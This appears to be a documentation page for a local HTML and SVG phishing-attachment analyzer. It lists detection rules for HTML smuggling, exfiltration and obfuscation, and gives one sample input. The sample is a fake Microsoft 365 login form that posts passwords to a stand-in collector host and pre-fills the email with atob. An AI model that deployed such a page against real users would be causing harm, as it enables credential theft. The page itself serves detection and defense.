# HTML Attachment Analyzer

URL: https://phishdestroy.io/developer-tools/html-attachment-analyzer
Category: Files & pages
Where it runs: Runs locally (nothing you enter is uploaded)

Load or paste an HTML or SVG attachment to see what it would do if opened: hidden downloads, forms that post a password elsewhere, redirects, exfiltration endpoints and obfuscated code. The file is read as text and never rendered or run.

## Example input

Login form with a pre-filled address

```
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
```

High risk: the login form sends the password to collector[.]example, the title names Microsoft 365 next to a password field, and the script fills in the e-mail address from the URL fragment with atob. The IOC list holds the collector URL and its domain, defanged.

## FAQ

### What does the analyzer look for?

It matches the source against rules for HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, download links, data: URIs and long Base64 blobs), forms and scripts that send data to other sites, Telegram and Discord exfiltration, redirects, hidden iframes, obfuscators and anti-analysis tricks. It also decodes atob, unescape and fromCharCode literals without running them and lists every URL, domain, IP address and e-mail address it finds, defanged.

### Can it miss something or raise a false alarm?

Yes. Encrypted or run-time-generated code can hide its behaviour from a static scan, and ordinary pages also use fetch, innerHTML or inline images, so read the matching source shown next to each finding. For deobfuscation and sandboxed emulation use JS Analyzer.

### Is the file uploaded or opened?

No. The file is read as text in your browser and is never rendered, executed or sent anywhere. Files up to 25 MB are accepted; for very large ones the first 4 MB and the last 1 MB of markup are scanned, and embedded blobs are counted in the whole file.

## Related tools

- [Multi-Layer Decoder](https://phishdestroy.io/developer-tools/multi-layer-decoder)
- [EML Analyzer](https://phishdestroy.io/developer-tools/eml-analyzer)
- [File Type Sniffer](https://phishdestroy.io/developer-tools/file-type-sniffer)
- [File Hash Calculator](https://phishdestroy.io/developer-tools/file-hash)
- [URL Defanger & IOC Extractor](https://phishdestroy.io/developer-tools/url-defanger)
- [IOC Converter](https://phishdestroy.io/developer-tools/ioc-converter)

All tools: https://phishdestroy.io/developer-tools